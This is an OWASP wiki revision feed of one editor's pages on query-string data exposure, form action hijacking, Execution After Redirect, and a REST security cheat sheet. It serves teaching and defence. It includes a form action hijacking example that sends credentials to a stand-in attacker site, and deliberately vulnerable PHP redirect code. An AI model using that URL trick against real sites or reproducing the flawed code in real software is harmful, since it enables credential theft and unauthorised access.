OWASP - User contributions [en]

Information exposure through query strings in url

2018-10-17T13:33:37Z

Robert Gilbert: Updated "References" and "Related Attacks"

{{stub}}

{{Template:Vulnerability}}
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

Information exposure through query strings in URL is when sensitive data is passed to parameters in the URL.
This allows attackers to obtain sensitive data such as usernames, passwords, tokens (authX), database details, and any other potentially sensitive data.
Simply using HTTPS does not resolve this vulnerability.

==Risk Factors==

Threat Agents: App Specific
Attack Vectors: Average
Security Weakness (prevalence): Common
Security Weakness (detectability): Difficult
Technical Impacts: Moderate
Business Impacts: App Specific

==Examples==
Regardless of using encryption, the following URL will expose information in the locations detailed below:
https://vulnerablehost.com/authuser?user=bob&authz_token=1234&expire=1500000000

The parameter values for 'user', 'authz_token', and 'expire' will be exposed in the following locations when using HTTP or HTTPS:
* Referer Header
* Web Logs
* Shared Systems
* Browser History
* Browser Cache
* Shoulder Surfing
* TBD

When not using an encrypted channel, all of the above and the following:
* Man-in-the-Middle
* TBD

=== Exposure Proof-of-Concept===
The following figure displays how an internal attacker can potentially exploit this vulnerability as the request above is captured in the server logs even when requested via an encrypted channel:
https://vulnerablehost.com/information-exposure-log.png

==Related [[Attacks]]==

* [https://www.owasp.org/index.php/Forced_browsing Forced browsing]
TBD

==Related [[Vulnerabilities]]==

TBD

==Related [[Controls]]==

TBD

==Related [[Technical Impacts]]==

TBD

==References==

* [https://www.owasp.org/index.php/Testing_for_Exposed_Session_Variables_(OTG-SESS-004) Testing for Exposed Session Variables (OTG-SESS-004)]
* [https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure Top 10-2017 A3-Sensitive Data Exposure]
* [https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure Top 10 2013-A6-Sensitive Data Exposure]
* [https://cwe.mitre.org/data/definitions/598.html CWE-598: Information Exposure Through Query Strings in GET Request]
* [https://tools.ietf.org/html/rfc6819#section-4.4.1 4.4.1.1. Threat: Eavesdropping or Leaking Authorization "codes"]
* [https://portswigger.net/knowledgebase/issues/details/00400300_passwordsubmittedusinggetmethod Passwords Submitted Using GET Method]

[[Category:Cryptographic Vulnerability]]
[[Category:Sensitive Data Protection Vulnerability]]

__NOTOC__

User:Robert Gilbert

2018-08-10T15:43:00Z

Robert Gilbert: Added LinkedIn profile

Information security professional with several years working experience in security, project management, architecture, and support. Expertise in penetration testing and working closely with clients.

https://amroot.com

https://www.linkedin.com/in/robertgilbert808/

Form action hijacking

2017-09-12T17:28:52Z

Robert Gilbert: Created page with "{{stub}} {{Template:Attack}} Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' ==Overview== Form action hijacking allows an attacker to spec..."

{{stub}}
{{Template:Attack}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Overview==
Form action hijacking allows an attacker to specify the action URL of a form via a paramter.
An attacker can construct a URL that will modify the action URL of a form to point to the attacker's server.
Form content including CSRF tokens, user entered parameter values, and any other of the forms content will be delivered to the attacker via the hijacked action URL.

==How to Test for Form Action Hijacking Vulnerabilities==
Check parameter values passed to the form action. See example below.

==How to Prevent Form Action Hijacking Vulnerabilities==
Hard-code the form action URL or use a whitelist of allowed URLs.

==Examples==
The following URL will generate the a form and set the "url" parameter as the from action URL. When the form is submitted, the ID and password will be sent to the attacker's site.

URL:
<pre>
https://vulnerablehost.com/?url=https://attackersite.com
</pre>
Source:
<pre>
<form name="form1" id="form1" method="post" action="https://attackersite.com">
<input type="text" name="id" value="user name">
<input type="password" name="pass" value="password">
<input type="submit" name="submit" value="Submit">
</form>
</pre>

==References==
* [https://cwe.mitre.org/data/definitions/20.html Common Weakness Enumeration - CWE-20: Improper Input Validation]
* [https://portswigger.net/knowledgebase/issues/details/00501500_formactionhijackingreflected PortSwigger: Form action hijacking (reflected)]
* [https://portswigger.net/knowledgebase/issues/details/00501501_formactionhijackingstored PortSwigger: Form action hijacking (stored)]

[[Category:Input Validation Vulnerability]]
[[Category:OWASP Top Ten Project]]
[[Category: Attack]]

Information exposure through query strings in url

2017-05-03T17:36:20Z

Robert Gilbert: Updated description and proposed Risk Factors

{{stub}}

{{Template:Vulnerability}}
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

Information exposure through query strings in URL is when sensitive data is passed to parameters in the URL.
This allows attackers to obtain sensitive data such as usernames, passwords, tokens (authX), database details, and any other potentially sensitive data.
Simply using HTTPS does not resolve this vulnerability.

==Risk Factors==

Threat Agents: App Specific
Attack Vectors: Average
Security Weakness (prevalence): Common
Security Weakness (detectability): Difficult
Technical Impacts: Moderate
Business Impacts: App Specific

==Examples==
Regardless of using encryption, the following URL will expose information in the locations detailed below:
https://vulnerablehost.com/authuser?user=bob&authz_token=1234&expire=1500000000

The parameter values for 'user', 'authz_token', and 'expire' will be exposed in the following locations when using HTTP or HTTPS:
* Referer Header
* Web Logs
* Shared Systems
* Browser History
* Browser Cache
* Shoulder Surfing
* TBD

When not using an encrypted channel, all of the above and the following:
* Man-in-the-Middle
* TBD

=== Exposure Proof-of-Concept===
The following figure displays how an internal attacker can potentially exploit this vulnerability as the request above is captured in the server logs even when requested via an encrypted channel:
https://vulnerablehost.com/information-exposure-log.png

==Related [[Attacks]]==
TBD

==Related [[Vulnerabilities]]==

TBD

==Related [[Controls]]==

TBD

==Related [[Technical Impacts]]==

TBD

==References==

* [https://cwe.mitre.org/data/definitions/598.html CWE-598: Information Exposure Through Query Strings in GET Request]
* [https://tools.ietf.org/html/rfc6819#section-4.4.1 4.4.1.1. Threat: Eavesdropping or Leaking Authorization "codes"]
* [https://www.owasp.org/index.php/Testing_for_Exposed_Session_Variables_(OTG-SESS-004) Testing for Exposed Session Variables (OTG-SESS-004)]
* [https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure Top 10 2013-A6-Sensitive Data Exposure]
* [https://portswigger.net/knowledgebase/issues/details/00400300_passwordsubmittedusinggetmethod Passwords Submitted Using GET Method]

[[Category:Cryptographic Vulnerability]]
[[Category:Sensitive Data Protection Vulnerability]]

__NOTOC__

Information exposure through query strings in url

2017-05-03T17:26:05Z

Robert Gilbert: Robert Gilbert moved page Information exposure through query strings in get request to Information exposure through query strings in url: The HTTP method is irrelevant. It will be exposed using GET, POST, etc. Proposed edit to CWE as well.

{{stub}}

{{Template:Vulnerability}}
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

Information exposure through query strings in GET request is when sensitive data is passed to parameters in the URL.
This allows attackers to obtain sensitive data such as usernames, passwords, tokens (authX), database details, and any other potentially sensitive data.
Simply using HTTPS does not resolve this vulnerability.

==Risk Factors==

TBD

==Examples==
Regardless of using encryption, the following URL will expose information in the locations detailed below:
https://vulnerablehost.com/authuser?user=bob&authz_token=1234&expire=1500000000

The parameter values for 'user', 'authz_token', and 'expire' will be exposed in the following locations when using HTTP or HTTPS:
* Referer Header
* Web Logs
* Shared Systems
* Browser History
* Browser Cache
* Shoulder Surfing
* TBD

When not using an encrypted channel, all of the above and the following:
* Man-in-the-Middle
* TBD

=== Exposure Proof-of-Concept===
The following figure displays how an internal attacker can potentially exploit this vulnerability as the request above is captured in the server logs even when requested via an encrypted channel:
https://vulnerablehost.com/information-exposure-log.png

==Related [[Attacks]]==
TBD

==Related [[Vulnerabilities]]==

TBD

==Related [[Controls]]==

TBD

==Related [[Technical Impacts]]==

TBD

==References==

* [https://cwe.mitre.org/data/definitions/598.html CWE-598: Information Exposure Through Query Strings in GET Request]
* [https://tools.ietf.org/html/rfc6819#section-4.4.1 4.4.1.1. Threat: Eavesdropping or Leaking Authorization "codes"]
* [https://www.owasp.org/index.php/Testing_for_Exposed_Session_Variables_(OTG-SESS-004) Testing for Exposed Session Variables (OTG-SESS-004)]
* [https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure Top 10 2013-A6-Sensitive Data Exposure]
* [https://portswigger.net/knowledgebase/issues/details/00400300_passwordsubmittedusinggetmethod Passwords Submitted Using GET Method]

[[Category:Cryptographic Vulnerability]]
[[Category:Sensitive Data Protection Vulnerability]]

__NOTOC__

Information exposure through query strings in get request

2017-05-03T17:26:05Z

#REDIRECT [[Information exposure through query strings in url]]

Execution After Redirect (EAR)

2017-05-02T18:18:00Z

Robert Gilbert: Removed stub

{{Template:Attack}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Overview==
Execution After Redirect (EAR) is an attack where an attacker ignores redirects and retrieves sensitive content intended for authenticated users. A successful EAR exploit can lead to complete compromise of the application.

==How to Test for EAR Vulnerabilities==
Using most proxies it is possible to ignore redirects and display what is returned. In this test we use Burp Proxy.<br>
# Intercept request https://vulnerablehost.com/managment_console
# Send to repeater.
# View response.

==How to Prevent EAR Vulnerabilities==
Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.

==Examples==
The following code will check to see if the parameter "loggedin" is true. If it is not true, it uses JavaScript to redirect the user to the login page.
Using the "How to Test for EAR Vulnerabilities" section or by disabling JavaScript in the browser, the same request is repeated without following the JavaScript redirect and the "Admin" section is accessible without authentication.

<pre>
<?php
if (!$loggedin) {
print "<script>window.location = '/login';</script>\n\n";
}
?>
<h1>Admin</h1>
<a href=/mu>Manage Users</a><br />
<a href=/ud>Update Database Settings</a>
</pre>

==References==
* [https://cwe.mitre.org/data/definitions/698.html CWE-698: Execution After Redirect (EAR)]
* [http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities]
* [https://nvd.nist.gov/vuln/detail/CVE-2013-1402 CVE-2013-1402: DigiLIBE Management Console | Execution After Redirect (EAR) Vulnerability]

[[Category:Exploitation of Authentication]]
[[Category: Attack]]

Execution After Redirect (EAR)

2017-05-02T18:15:26Z

Robert Gilbert: /* Examples */ - fixed code example formatting

{{stub}}

{{Template:Attack}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Overview==
Execution After Redirect (EAR) is an attack where an attacker ignores redirects and retrieves sensitive content intended for authenticated users. A successful EAR exploit can lead to complete compromise of the application.

==How to Test for EAR Vulnerabilities==
Using most proxies it is possible to ignore redirects and display what is returned. In this test we use Burp Proxy.<br>
# Intercept request https://vulnerablehost.com/managment_console
# Send to repeater.
# View response.

==How to Prevent EAR Vulnerabilities==
Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.

==Description==

==Examples==

The following code will check to see if the parameter "loggedin" is true. If it is not true, it uses JavaScript to redirect the user to the login page.
Using the "How to Test for EAR Vulnerabilities" section or by disabling JavaScript in the browser, the same request is repeated without following the JavaScript redirect and the "Admin" section is accessible without authentication.

<pre>
<?php
if (!$loggedin) {
print "<script>window.location = '/login';</script>\n\n";
}
?>
<h1>Admin</h1>
<a href=/mu>Manage Users</a><br />
<a href=/ud>Update Database Settings</a>
</pre>

==References==
* [https://cwe.mitre.org/data/definitions/698.html CWE-698: Execution After Redirect (EAR)]
* [http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities]
* [https://nvd.nist.gov/vuln/detail/CVE-2013-1402 CVE-2013-1402: DigiLIBE Management Console | Execution After Redirect (EAR) Vulnerability]

[[Category:Exploitation of Authentication]]
[[Category: Attack]]

Execution After Redirect (EAR)

2017-05-02T18:03:12Z

Robert Gilbert: /* Examples */

{{stub}}

{{Template:Attack}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Overview==
Execution After Redirect (EAR) is an attack where an attacker ignores redirects and retrieves sensitive content intended for authenticated users. A successful EAR exploit can lead to complete compromise of the application.

==How to Test for EAR Vulnerabilities==
Using most proxies it is possible to ignore redirects and display what is returned. In this test we use Burp Proxy.<br>
# Intercept request https://vulnerablehost.com/managment_console
# Send to repeater.
# View response.

==How to Prevent EAR Vulnerabilities==
Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.

==Description==

==Examples==

The following code will check to see if the parameter "loggedin" is true. If it is not true, it uses JavaScript to redirect the user to the login page.
Using the "How to Test for EAR Vulnerabilities" section or by disabling JavaScript in the browser, the same request is repeated without following the JavaScript redirect and the "Admin" section is accessible without authentication.

<?php
if (!$loggedin) {
print "<script>window.location = '/login';</script>\n\n";
}
?>
<h1>Admin</h1>
<a href=/mu>Manage Users</a><br />
<a href=/ud>Update Database Settings</a>

==References==
* [https://cwe.mitre.org/data/definitions/698.html CWE-698: Execution After Redirect (EAR)]
* [http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities]
* [https://nvd.nist.gov/vuln/detail/CVE-2013-1402 CVE-2013-1402: DigiLIBE Management Console | Execution After Redirect (EAR) Vulnerability]

[[Category:Exploitation of Authentication]]
[[Category: Attack]]

Execution After Redirect (EAR)

2017-05-02T17:07:13Z

Robert Gilbert: Added link to CWE-698

{{stub}}

{{Template:Attack}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Overview==
Execution After Redirect (EAR) is an attack where an attacker ignores redirects and retrieves sensitive content intended for authenticated users. A successful EAR exploit can lead to complete compromise of the application.

==How to Test for EAR Vulnerabilities==
Using most proxies it is possible to ignore redirects and display what is returned. In this test we use Burp Proxy.<br>
# Intercept request https://vulnerablehost.com/managment_console
# Send to repeater.
# View response.

==How to Prevent EAR Vulnerabilities==
Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.

==Description==

==Examples==

==References==
* [https://cwe.mitre.org/data/definitions/698.html CWE-698: Execution After Redirect (EAR)]
* [http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities]
* [https://nvd.nist.gov/vuln/detail/CVE-2013-1402 CVE-2013-1402: DigiLIBE Management Console | Execution After Redirect (EAR) Vulnerability]

[[Category:Exploitation of Authentication]]
[[Category: Attack]]

User:Robert Gilbert

2017-04-07T20:10:31Z

Robert Gilbert: Added URL

Information exposure through query strings in url

2017-04-06T20:30:55Z

Robert Gilbert: Removed "Related Attacks" as it's open for debate.

{{stub}}

{{Template:Vulnerability}}
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

Information exposure through query strings in GET request is when sensitive data is passed to parameters in the URL.
This allows attackers to obtain sensitive data such as usernames, passwords, tokens (authX), database details, and any other potentially sensitive data.
Simply using HTTPS does not resolve this vulnerability.

==Risk Factors==

TBD

==Examples==
Regardless of using encryption, the following URL will expose information in the locations detailed below:
https://vulnerablehost.com/authuser?user=bob&authz_token=1234&expire=1500000000

The parameter values for 'user', 'authz_token', and 'expire' will be exposed in the following locations when using HTTP or HTTPS:
* Referer Header
* Web Logs
* Shared Systems
* Browser History
* Browser Cache
* Shoulder Surfing
* TBD

When not using an encrypted channel, all of the above and the following:
* Man-in-the-Middle
* TBD

=== Exposure Proof-of-Concept===
The following figure displays how an internal attacker can potentially exploit this vulnerability as the request above is captured in the server logs even when requested via an encrypted channel:
https://vulnerablehost.com/information-exposure-log.png

==Related [[Attacks]]==
TBD

==Related [[Vulnerabilities]]==

TBD

==Related [[Controls]]==

TBD

==Related [[Technical Impacts]]==

TBD

==References==

* [https://cwe.mitre.org/data/definitions/598.html CWE-598: Information Exposure Through Query Strings in GET Request]
* [https://tools.ietf.org/html/rfc6819#section-4.4.1 4.4.1.1. Threat: Eavesdropping or Leaking Authorization "codes"]
* [https://www.owasp.org/index.php/Testing_for_Exposed_Session_Variables_(OTG-SESS-004) Testing for Exposed Session Variables (OTG-SESS-004)]
* [https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure Top 10 2013-A6-Sensitive Data Exposure]
* [https://portswigger.net/knowledgebase/issues/details/00400300_passwordsubmittedusinggetmethod Passwords Submitted Using GET Method]

[[Category:Cryptographic Vulnerability]]
[[Category:Sensitive Data Protection Vulnerability]]

__NOTOC__

Information exposure through query strings in url

2017-04-06T20:28:16Z

Robert Gilbert: Created page with "{{stub}} {{Template:Vulnerability}} Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' ==Description== Information exposure through query st..."

{{stub}}

{{Template:Vulnerability}}
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

Information exposure through query strings in GET request is when sensitive data is passed to parameters in the URL.
This allows attackers to obtain sensitive data such as usernames, passwords, tokens (authX), database details, and any other potentially sensitive data.
Simply using HTTPS does not resolve this vulnerability.

==Risk Factors==

TBD

==Examples==
Regardless of using encryption, the following URL will expose information in the locations detailed below:
https://vulnerablehost.com/authuser?user=bob&authz_token=1234&expire=1500000000

The parameter values for 'user', 'authz_token', and 'expire' will be exposed in the following locations when using HTTP or HTTPS:
* Referer Header
* Web Logs
* Shared Systems
* Browser History
* Browser Cache
* Shoulder Surfing
* TBD

When not using an encrypted channel, all of the above and the following:
* Man-in-the-Middle
* TBD

=== Exposure Proof-of-Concept===
The following figure displays how an internal attacker can potentially exploit this vulnerability as the request above is captured in the server logs even when requested via an encrypted channel:
https://vulnerablehost.com/information-exposure-log.png

==Related [[Attacks]]==

* [[Session Hijacking]]

==Related [[Vulnerabilities]]==

TBD

==Related [[Controls]]==

TBD

==Related [[Technical Impacts]]==

TBD

==References==

* [https://cwe.mitre.org/data/definitions/598.html CWE-598: Information Exposure Through Query Strings in GET Request]
* [https://tools.ietf.org/html/rfc6819#section-4.4.1 4.4.1.1. Threat: Eavesdropping or Leaking Authorization "codes"]
* [https://www.owasp.org/index.php/Testing_for_Exposed_Session_Variables_(OTG-SESS-004) Testing for Exposed Session Variables (OTG-SESS-004)]
* [https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure Top 10 2013-A6-Sensitive Data Exposure]
* [https://portswigger.net/knowledgebase/issues/details/00400300_passwordsubmittedusinggetmethod Passwords Submitted Using GET Method]

[[Category:Cryptographic Vulnerability]]
[[Category:Sensitive Data Protection Vulnerability]]

__NOTOC__

Execution After Redirect (EAR)

2017-04-03T20:17:43Z

Robert Gilbert: Included link to CVE-2013-1402 Detail

AJAX Security Cheat Sheet

2016-11-17T21:18:51Z

Robert Gilbert: /* Don't perform encryption in client side code */

REST Security Cheat Sheet

2016-11-17T15:23:24Z

Robert Gilbert: /* Input validation 101 */

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
= Introduction =
__TOC__{{TOC hidden}}

[http://en.wikipedia.org/wiki/Representational_state_transfer REST] (or REpresentational State Transfer) is a means of expressing specific entities in a system by URL path elements. REST is not an architecture but it is an architectural style to build services on top of the Web. REST allows interaction with a web-based system via simplified URLs rather than complex request body or <tt>POST</tt> parameters to request specific items from the system. This document serves as a guide (although not exhaustive) of best practices to help REST-based services.

= Authentication and session management =

RESTful web services should use session-based authentication, either by establishing a session token via a POST or by using an API key as a POST body argument or as a cookie. Usernames, passwords, session tokens, and API keys should not appear in the URL, as this can be captured in web server logs, which makes them intrinsically valuable.

OK:

* [https://example.com/resourceCollection/123/action https://example.com/resourceCollection/<id>/action]
* https://twitter.com/vanderaj/lists

NOT OK:

* [https://example.com/controller/123/action?apiKey=a53f435643de32 https://example.com/controller/<id>/action?apiKey=a53f435643de32] (API Key in URL)
* [http://example.com/controller/123/action?apiKey=a53f435643de32 http://example.com/controller/<id>/action?apiKey=a53f435643de32] (transaction not protected by TLS; API Key in URL)

== OAuth for Authentication and Authorization ==

The OAuth 2.0 authorization framework enables a third-party application to obtain limited access to an HTTP service, either on between the resource owner and the HTTP service, or by allowing the third-party application to obtain access on its own behalf.

https://tools.ietf.org/html/rfc6749

== Protect Session State ==

Many web services are written to be as stateless as possible. This usually ends up with a state blob being sent as part of the transaction.

* Consider using only the session token or API key to maintain client state in a server-side cache. This is directly equivalent to how normal web apps do it, and there's a reason why this is moderately safe.
* Anti-replay. Attackers will cut and paste a blob and become someone else. Consider using a time limited encryption key, keyed against the session token or API key, date and time, and incoming IP address. In general, implement some protection of local client storage of the authentication token to mitigate replay attacks.
* Don't make it easy to decrypt; change the internal state to be much better than it should be.

In short, even if you have a brochureware web site, don't put in <tt>https://example.com/users/2313/edit?isAdmin=false&debug=false&allowCSRPanel=false</tt> as you will quickly end up with a lot of admins, and help desk helpers, and "developers".

= Authorization =

== Anti-farming ==

Many RESTful web services are put up, and then farmed, such as a price matching website or aggregation service. There's no technical method of preventing this use, so strongly consider means to encourage it as a business model by making high velocity farming is possible for a fee, or contractually limiting service using terms and conditions. CAPTCHAs and similar methods can help reduce simpler adversaries, but not well funded or technically competent adversaries. Using mutually assured client side TLS certificates may be a method of limiting access to trusted organizations, but this is by no means certain, particularly if certificates are posted deliberately or by accident to the Internet.

== Protect HTTP methods ==

RESTful API often use GET (read), POST (create), PUT (replace/update) and DELETE (to delete a record). Not all of these are valid choices for every single resource collection, user, or action. Make sure the incoming HTTP method is valid for the session token/API key and associated resource collection, action, and record. For example, if you have an RESTful API for a library, it's not okay to allow anonymous users to DELETE book catalog entries, but it's fine for them to GET a book catalog entry. On the other hand, for the librarian, both of these are valid uses.

== Whitelist allowable methods ==

It is common with RESTful services to allow multiple methods for a given URL for different operations on that entity. For example, a <tt>GET</tt> request might read the entity while <tt>PUT</tt> would update an existing entity, <tt>POST</tt> would create a new entity, and <tt>DELETE</tt> would delete an existing entity. It is important for the service to properly restrict the allowable verbs such that only the allowed verbs would work, while all others would return a proper response code (for example, a <tt>403 Forbidden</tt>).

In Java EE in particular, this can be difficult to implement properly. See [http://www.aspectsecurity.com/research-presentations/bypassing-vbaac-with-http-verb-tampering Bypassing Web Authentication and Authorization with HTTP Verb Tampering] for an explanation of this common misconfiguration.

== Protect privileged actions and sensitive resource collections ==

Not every user has a right to every web service. This is vital, as you don't want administrative web services to be misused:

* https://example.com/admin/exportAllData

The session token or API key should be sent along as a cookie or body parameter to ensure that privileged collections or actions are properly protected from unauthorized use.

== Protect against cross-site request forgery ==

For resources exposed by RESTful web services, it's important to make sure any PUT, POST, and DELETE request is protected from Cross Site Request Forgery. Typically one would use a token-based approach. See [[Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet]] for more information on how to implement CSRF-protection.

CSRF is easily achieved even using random tokens if any XSS exists within your application, so please make sure you understand [[XSS (Cross Site Scripting) Prevention Cheat Sheet|how to prevent XSS]].

== Insecure direct object references ==

It may seem obvious, but if you had a bank account REST web service, you'd have to make sure there is adequate checking of primary and foreign keys:

* https://example.com/account/325365436/transfer?amount=$100.00&toAccount=473846376

In this case, it would be possible to transfer money from any account to any other account, which is clearly absurd. Not even a random token makes this safe.

* https://example.com/invoice/2362365

In this case, it would be possible to get a copy of all invoices.

This is essentially a data-contextual access control enforcement need. A URL or even a POSTed form should NEVER contain an access control "key" or similar that provides automatic verification. <b>A data contextual check needs to be done, server side, with each request.</b>

= Input validation =

== Input validation 101 ==

Everything you know about input validation applies to RESTful web services, but add 10% because automated tools can easily fuzz your interfaces for hours on end at high velocity. So:

* Assist the user > Reject input > Sanitize (filtering) > No input validation

Assisting the user makes the most sense, as the most common scenario is "problem exists between keyboard and chair" (PEBKAC). Help the user input high quality data into your web services, such as ensuring a Zip code makes sense for the supplied address, or the date makes sense. If not, reject that input. If they continue on, or it's a text field or some other difficult to validate field, input sanitization is a losing proposition but still better than XSS or SQL injection. If you're already reduced to sanitization or no input validation, make sure output encoding is very strong for your application.

Log input validation failures, particularly if you assume that client-side code you wrote is going to call your web services. The reality is that anyone can call your web services, so assume that someone who is performing hundreds of failed input validations per second is up to no good. Also consider rate limiting the API to a certain number of requests per hour or day to prevent abuse.

== Secure parsing ==

Use a secure parser for parsing the incoming messages. If you are using XML, make sure to use a parser that is not vulnerable to [https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing XXE] and similar attacks.

== Strong typing ==

It's difficult to perform most attacks if the only allowed values are true or false, or a number, or one of a small number of acceptable values. Strongly type incoming data as quickly as possible.

== Validate incoming content-types ==

When POSTing or PUTting new data, the client will specify the Content-Type (e.g. <tt>application/xml</tt> or <tt>application/json</tt>) of the incoming data. The server should never assume the Content-Type; it should always check that the Content-Type header and the content are the same type. A lack of Content-Type header or an unexpected Content-Type header should result in the server rejecting the content with a <tt>406 Not Acceptable</tt> response.

== Validate response types ==

It is common for REST services to allow multiple response types (e.g. <tt>application/xml</tt> or <tt>application/json</tt>, and the client specifies the preferred order of response types by the <tt>Accept</tt> header in the request. '''Do NOT''' simply copy the <tt>Accept</tt> header to the <tt>Content-type</tt> header of the response. Reject the request (ideally with a <tt>406 Not Acceptable</tt> response) if the <tt>Accept</tt> header does not specifically contain one of the allowable types.

Because there are many MIME types for the typical response types, it's important to document for clients specifically which MIME types should be used.

== XML input validation ==

XML-based services must ensure that they are protected against common XML based attacks by using secure XML-parsing. This typically means protecting against XML External Entity attacks, XML-signature wrapping etc. See [http://ws-attacks.org http://ws-attacks.org] for examples of such attacks.

== Framework-Provided Validation ==

Many frameworks, such as [https://jersey.java.net/ Jersey], allow for validation constraints to be enforced automatically by the framework at request or response time. (See [https://jersey.java.net/documentation/latest/bean-validation.html Bean Validation Support] for more information). While this does not validate the structure of JSON or XML data before being unmarshaled, it does provide automatic validation after unmarshaling, but before the data is presented to the application.

= Output encoding =

== Send security headers ==

To make sure the content of a given resources is interpreted correctly by the browser, the server should always send the Content-Type header with the correct Content-Type, and preferably the Content-Type header should include a charset. The server should also send an <tt>X-Content-Type-Options: nosniff</tt> to make sure the browser does not try to detect a different Content-Type than what is actually sent (can lead to XSS).

Additionally the client should send an <tt>X-Frame-Options: deny</tt> to protect against drag'n drop clickjacking attacks in older browsers.

== JSON encoding ==

A key concern with JSON encoders is preventing arbitrary JavaScript remote code execution within the browser... or, if you're using node.js, on the server. It's vital that you use a proper JSON serializer to encode user-supplied data properly to prevent the execution of user-supplied input on the browser.

When inserting values into the browser DOM, strongly consider using <tt>.value</tt>/<tt>.innerText</tt>/<tt>.textContent</tt> rather than <tt>.innerHTML</tt> updates, as this protects against simple DOM XSS attacks.

== XML encoding ==

XML should never be built by string concatenation. It should always be constructed using an XML serializer. This ensures that the XML content sent to the browser is parseable and does not contain XML injection. For more information, please see the [[Web Service Security Cheat Sheet]].

= Cryptography =

== Data in transit ==

Unless the public information is completely read-only, the use of TLS should be mandated, particularly where credentials, updates, deletions, and any value transactions are performed. The overhead of TLS is negligible on modern hardware, with a minor latency increase that is more than compensated by safety for the end user.

Consider the use of mutually authenticated client-side certificates to provide additional protection for highly privileged web services.

== Data in storage ==

Leading practices are recommended as per any web application when it comes to correctly handling stored sensitive or regulated data. For more information, please see [[Top 10 2010-A7|OWASP Top 10 2010 - A7 Insecure Cryptographic Storage]].

= Message Integrity =
In addition to HTTPS/TLS, JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. JWT can not only be used to ensure the message integrity but also authentication of both message sender/receiver. The JWT includes the digital signature hash value of the message body to ensure the message integrity during the transmition.

https://jwt.io/introduction/

= HTTP Return Code =
HTTP defines status code [https://en.wikipedia.org/wiki/List_of_HTTP_status_codes].
When design REST API, don't just use 200 for success or 404 for error.

Here are some guideline to consider for each REST API status return code. Proper error handle may help to validate the incoming requests and better identify the potential security risks.

* 200 OK - Response to a successful REST API action. The HTTP method can be GET, POST, PUT, PATCH or DELETE.

* 400 Bad Request - The request is malformed, such as message body format error.

* 401 Unauthorized - Wrong or no authencation ID/password provided.

* 403 Forbidden - It's used when the authentication succeeded but authenticated user doesn't have permission to the request resource

* 404 Not Found - When a non-existent resource is requested

* 405 Method Not Allowed - The error checking for unexpected HTTP method. For example, the RestAPI is expecting HTTP GET, but HTTP PUT is used.

* 429 Too Many Requests - The error is used when there may be DOS attack detected or the request is rejected due to rate limiting

= Related articles =

{{Cheatsheet_Navigation}}

= Authors and primary editors =

Erlend Oftedal - erlend.oftedal@owasp.org<br/>
Andrew van der Stock - vanderaj@owasp.org<br/>
Tony Hsu Hsiang Chih- Hsiang_chihi@yahoo.com<br/>
== Other cheatsheets ==

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]]

Execution After Redirect (EAR)

2013-01-09T17:10:09Z

Robert Gilbert:

Execution After Redirect (EAR)

2013-01-09T15:56:02Z

Robert Gilbert: Created page with "{{stub}} {{Template:Attack}} Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' ==Overview== Execution After Redirect (EAR) is an attack whe..."

Cross-Site Request Forgery (CSRF)

2013-01-09T15:14:58Z

Robert Gilbert:

